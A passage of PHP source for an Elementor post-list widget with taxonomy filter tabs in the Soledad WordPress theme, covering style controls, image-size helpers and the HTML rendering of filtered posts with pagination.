			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_hcolor', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'meta_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .grid-post-box-meta',
		) );

		$this->add_control( 'heading_excerpt', array(
			'label'     => __( 'Post Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'excerpt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array( '{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'excerpt_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selector'  => '{{WRAPPER}} .pcbg-pexcerpt p',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_rm', array(
			'label'     => __( 'Read More Button', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => array( 'show_readmore' => 'yes' ),
		) );

		$this->add_responsive_control( 'rm_padding', array(
			'label'      => __( 'Button Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle!' => 'text' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_borders', array(
			'label'      => __( 'Button Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_radius', array(
			'label'      => __( 'Button Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'rm_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn',
		) );

		$this->add_control( 'rm_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bdcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbdcolor', array(
			'label'     => __( 'Hover Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'border-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_responsive_control( 'cat_space', array(
			'label'     => __( 'Categories Margin Bottom', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .pcsl-content .cat' => 'margin-bottom: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'meta_space', array(
			'label'     => __( 'Post Meta Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .grid-post-box-meta' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'excerpt_space', array(
			'label'     => __( 'Post Excerpt Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-pexcerpt' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'rm_space', array(
			'label'     => __( 'Read More Button Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => array( 'show_readmore' => 'yes' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-readmore' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'pagi_design', array(
			'label'     => __( 'Page Navigation', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => array(
				'paging!' => 'none',
				'type!'   => 'crs',
			),
		) );

		$this->add_responsive_control( 'pagi_mwidth', array(
			'label'      => __( 'Load More Posts Button Max Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'condition'  => array(
				'paging' => array( 'loadmore', 'scroll' ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'max-width: {{SIZE}}{{UNIT}};',
			),
		) );

		$this->add_control( 'pagi_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'pagi_hcolor', array(
			'label'     => __( 'Text Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hcolor', array(
			'label'     => __( 'Borders Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hbgcolor', array(
			'label'     => __( 'Hover & Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'bgpagi_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-pagination a, {{WRAPPER}} .penci-pagination span.current',
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings_for_display();
		$tax      = $settings['tax'];
		$order    = $settings['order'];
		$orderby  = $settings['orderby'];
		$maxitems = $settings['maxitems'];

		$dformat           = $settings['dformat'] ? $settings['dformat'] : '';
		$column            = $settings['column'] ? $settings['column'] : '3';
		$tab_column        = $settings['tab_column'] ? $settings['tab_column'] : '2';
		$mb_column         = $settings['mb_column'] ? $settings['mb_column'] : '1';
		$imgpos            = $settings['imgpos'] ? $settings['imgpos'] : 'left';
		$thumb_size_imgtop = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
		if ( get_theme_mod( 'penci_featured_image_size' ) == 'vertical' ) {
			$thumb_size_imgtop = 'penci-thumb-vertical';
		} else if ( get_theme_mod( 'penci_featured_image_size' ) == 'square' ) {
			$thumb_size_imgtop = 'penci-thumb-square';
		}
		$thumb_size   = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
		$mthumb_size  = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
		$post_meta    = $settings['post_meta'] ? $settings['post_meta'] : array();
		$primary_cat  = $settings['primary_cat'] ? $settings['primary_cat'] : '';
		$title_length = $settings['title_length'] ? $settings['title_length'] : '';
		$excerpt_pos  = $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below';
		$paging       = $settings['paging'] ? $settings['paging'] : 'none';
		$paging_align = $settings['paging_align'] ? $settings['paging_align'] : 'align-center';
		if ( 'top' == $imgpos ) {
			$excerpt_pos = 'side';
		}
		$rmstyle        = $settings['rmstyle'] ? $settings['rmstyle'] : 'filled';
		$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 15;

		$thumbnail = $thumb_size;
		if ( penci_is_mobile() ) {
			$thumbnail = $mthumb_size;
		}

		$inner_wrapper_class = 'pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-grid';
		$item_class          = 'normal-item';

		if ( isset( $settings['paywall_heading_text_style'] ) ) {
			$inner_wrapper_class .= ' pencipw-hd-' . $settings['paywall_heading_text_style'];
		}

		$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
		$inner_wrapper_class .= ' pcsl-col-' . $column;
		$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
		$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
		if ( 'yes' == $settings['nocrop'] ) {
			$inner_wrapper_class .= ' pcsl-nocrop';
		}
		if ( 'yes' == $settings['hide_cat_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-cat-mhide';
		}
		if ( 'yes' == $settings['hide_meta_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-meta-mhide';
		}
		if ( 'yes' == $settings['hide_excerpt_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-excerpt-mhide';
		}
		if ( 'yes' == $settings['hide_rm_mobile'] ) {
			$inner_wrapper_class .= ' pcsl-rm-mhide';
		}
		if ( 'yes' == $settings['imgtop_mobile'] && in_array( $imgpos, array( 'left', 'right' ) ) ) {
			$inner_wrapper_class .= ' pcsl-imgtopmobile';
		}
		if ( 'yes' == $settings['ver_border'] ) {
			$inner_wrapper_class .= ' pcsl-verbd';
		}

		if ( ! in_array( 'date', $post_meta ) ) {
			$inner_wrapper_class .= ' no-date';
		}

		$inner_wrapper_class .= ' pcmtp-ct-' . $settings['vertical_position'];

		$term_args = [
			'taxonomy' => $tax,
			'order'    => $order,
			'orderby'  => $orderby,
			'number'   => $maxitems,
		];

		if ( $settings['taxonomies_ex'] ) {
			$term_args['exclude'] = $settings['taxonomies_ex'];
		}

		if ( $settings['taxonomies_in'] ) {
			$term_args['include'] = $settings['taxonomies_in'];
		}

		// posts args

		$post_args = [
			'orderby'        => $settings['post_orderby'],
			'order'          => $settings['post_order'],
			'posts_per_page' => $settings['posts_per_page'],
		];

		if ( $settings['taxonomies_ex'] ) {
			$post_args['tax_query'][] = [
				'operator' => 'NOT IN',
				'taxonomy' => $tax,
				'terms'    => $settings['taxonomies_ex'],
			];
		}

		if ( $settings['taxonomies_in'] ) {
			$post_args['tax_query'][] = [
				'operator' => 'IN',
				'taxonomy' => $tax,
				'terms'    => $settings['taxonomies_in'],
			];
		}

		if ( $settings['taxonomies_ex'] || $settings['taxonomies_in'] ) {
			$post_args['tax_query']['relation'] = 'AND';
		}

		$post_list = new WP_Query( $post_args );

		$data_settings = [
			'hide_thumb'      => $settings['hide_thumb'],
			'show_reviewpie'  => $settings['show_reviewpie'],
			'show_formaticon' => $settings['show_formaticon'],
			'disable_lazy'    => $settings['disable_lazy'],
			'nocrop'          => $settings['nocrop'],
			'post_meta'       => $post_meta,
			'excerpt_length'  => $excerpt_length,
			'title_length'    => $title_length,
			'rmstyle'         => $rmstyle,
			'dformat'         => $dformat,
			'excerpt_pos'     => $excerpt_pos,
			'primary_cat'     => $primary_cat,
			'thumbnail'       => $thumbnail,
			'column'          => $column,
			'show_excerpt'    => $settings['show_excerpt'],
			'show_readmore'   => $settings['show_readmore'],
		];

		$terms_list   = get_terms( $term_args );
		$count_html   = '';
		$sticky_class = $settings['tax_sticky'] ? 'penci-mtp-sticky' : 'penci-mtp-non-sticky';
		$this->markup_block_title( $settings, $this );
		?>
        <div class="penci-mtp-filters-wrapper <?php echo $sticky_class; ?> pctp-<?php echo $settings['tax_position']; ?>"
             data-settings='<?php echo json_encode( $data_settings ); ?>'
             data-tax="<?php echo $tax; ?>" data-request-id="<?php echo wp_create_nonce( 'penci-mtp-filters' ); ?>"
             data-paged="1" data-filter-terms=""
             data-query='<?php echo json_encode( $post_args ); ?>'>
            <div class="penci-mtp-filters-terms">
                <div class="theiaStickySidebar">
					<a href="#" aria-label="<?php echo penci_get_setting( 'penci_trans_all' );?>" class="penci-mtp-filters-mobile">
						<span><?php echo penci_get_setting( 'penci_trans_all' );?></span>
					</a>
					<a href="#" aria-label="<?php echo penci_get_setting( 'penci_trans_close' );?>" class="penci-mtp-filters-close">
						<span><?php echo penci_get_setting( 'penci_trans_close' );?></span>
					</a>
                    <ul class="penci-mtp-filters-main">
                        <li>
                            <a class="pcmtp-f-term" data-id="all" href="#">
								<?php
								echo penci_get_setting( 'penci_trans_all' );
								if ( $settings['count'] ) {
									echo '<span class="count">' . $post_list->found_posts . '</span>';
								}
								?>
                            </a>
                        </li>
						<?php
						foreach ( $terms_list as $order => $term_data ) {
							if ( $settings['count'] ) {
								$count_html = '<span class="count">' . $term_data->count . '</span>';
							}
							echo '<li><a class="pcmtp-f-term" data-id="' . $term_data->term_id . '" href="#">' . $term_data->name . $count_html . '</a></li>';
						}
						?>
                    </ul>
                </div>
            </div>
            <div class="penci-mtp-filters-posts">
                <div class="theiaStickySidebar">
					<?php
					if ( $post_list->have_posts() ) {
						?>
                        <div class="penci-smalllist">
                            <div class="<?php echo $inner_wrapper_class; ?>">
								<?php
								while ( $post_list->have_posts() ) {
									$post_list->the_post();
									?>
                                    <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
										echo ' pcsl-nothumb';
									} ?>">
                                        <div class="pcsl-itemin">
                                            <div class="pcsl-iteminer">


												<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                                                    <div class="pcsl-thumb">
														<?php
														do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
														/* Display Review Piechart  */
														if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
															penci_display_piechart_review_html( get_the_ID(), 'small' );
														}
														?>
														<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
															<?php if ( has_post_format( 'video' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'audio' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'link' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
															<?php endif; ?>
															<?php if ( has_post_format( 'quote' ) ) : ?>
                                                                <a href="<?php the_permalink() ?>"
                                                                   class="icon-post-format"
                                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
															<?php endif; ?>
														<?php endif; ?>
                                                        <a <?php echo penci_layout_bg( penci_get_featured_image_size( get_the_ID(), $thumbnail ), 'yes' != $settings['disable_lazy'] ); ?>
                                                                href="<?php the_permalink(); ?>"
                                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                class="<?php echo penci_layout_bg_class( 'yes' != $settings['disable_lazy'] ); ?> penci-image-holder"<?php if ( 'yes' == $settings['nocrop'] ) {
															echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
														} ?>>
															<?php echo penci_layout_img( penci_get_featured_image_size( get_the_ID(), $thumbnail ), get_the_title(), 'yes' != $settings['disable_lazy'] ); ?>
                                                        </a>

                                                    </div>
												<?php } ?>
                                                <div class="pcsl-content">
													<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                        <div class="cat pcsl-cat">
															<?php penci_category( '', $primary_cat ); ?>
                                                        </div>
													<?php endif; ?>

													<?php if ( in_array( 'title', $post_meta ) ) : ?>
                                                        <div class="pcsl-title">
                                                            <a href="<?php the_permalink(); ?>"<?php if ( $title_length ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>><?php

																if ( ! $title_length ) {
																	the_title();
																} else {
																	echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
																} ?></a>
                                                        </div>
													<?php endif; ?>

													<?php if ( isset( $settings['cspost_enable'] ) && $settings['cspost_enable'] || ( count( array_intersect( array(
																'author',
																'date',
																'comment',
																'views',
																'reading'
															), $post_meta ) ) > 0 ) || ( count( array_intersect( array(
																'author',
																'comment',
																'views',
																'reading'
															), $post_meta ) ) > 0 ) ) { ?>

														<?php if ( $column == 1 ) { ?>
                                                            <div class="grid-post-box-meta pcsl-meta pcmtf-mt-alt">
																<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                                    <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
																<?php endif; ?>
                                                            </div>
														<?php } ?>


                                                        <div class="grid-post-box-meta pcsl-meta">
															<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                                <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
															<?php endif; ?>

															<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                                <span class="sl-date-author author-italic">
													<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
																		penci_coauthors_posts_links();
																	else: ?>
                                                                        <a class="author-url url fn n"
                                                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
																	<?php endif; ?>
													</span>
															<?php endif; ?>
															
															<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                                <span class="sl-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
															<?php endif; ?>
															<?php
															if ( in_array( 'views', $post_meta ) ) {
																echo '<span class="sl-views">';
																echo penci_get_post_views( get_the_ID() );
																echo ' ' . penci_get_setting( 'penci_trans_countviews' );
																echo '</span>';
															}
															?>
															<?php
															$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
															if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                                <span class="sl-readtime"><?php penci_reading_time(); ?></span>
															<?php endif; ?>
															<?php echo penci_show_custom_meta_fields( [
																'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
																'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
																'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
																'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
																'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
															] ); ?>
                                                        </div>
													<?php } ?>

													<?php if ( 'yes' == $settings['show_excerpt'] && 'side' == $excerpt_pos ) { ?>
                                                        <div class="pcbg-pexcerpt pcsl-pexcerpt">
															<?php penci_the_excerpt( $excerpt_length ); ?>
                                                        </div>
													<?php } ?>
													<?php if ( 'yes' == $settings['show_readmore'] && 'side' == $excerpt_pos ) { ?>
                                                        <div class="pcsl-readmore">
                                                            <a href="<?php the_permalink(); ?>"
                                                               class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                            </a>
                                                        </div>
													<?php } ?>

                                                </div>

												<?php if ( ( 'yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore'] ) && 'below' == $excerpt_pos ) { ?>
                                                    <div class="pcsl-flex-full">
														<?php if ( 'yes' == $settings['show_excerpt'] ) { ?>
                                                            <div class="pcbg-pexcerpt pcsl-pexcerpt">
																<?php penci_the_excerpt( $excerpt_length ); ?>
                                                            </div>
														<?php } ?>
														<?php if ( 'yes' == $settings['show_readmore'] ) { ?>
                                                            <div class="pcsl-readmore">
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																	<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                                </a>
                                                            </div>
														<?php } ?>
                                                    </div>
												<?php } ?>
                                            </div>
                                        </div>
                                    </div>
									<?php
								}
								wp_reset_postdata();
								?>
                            </div>
							<?php echo penci_get_html_animation_loading( $settings['ajax_loading_style'] ); ?>
                        </div>
						<?php

					}

					if ( 'loadmore' == $paging || 'scroll' == $paging ) {
						$button_class = ' penci-ajax-more penci-mtpf-more-click';
						if ( 'scroll' == $paging ):
							$button_class = ' penci-ajax-more penci-mtpf-more-scroll';
						endif;
						?>
                        <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                            <a class="penci-ajax-more-button" href="#" aria-label="More Posts"
                               data-more="<?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?>"
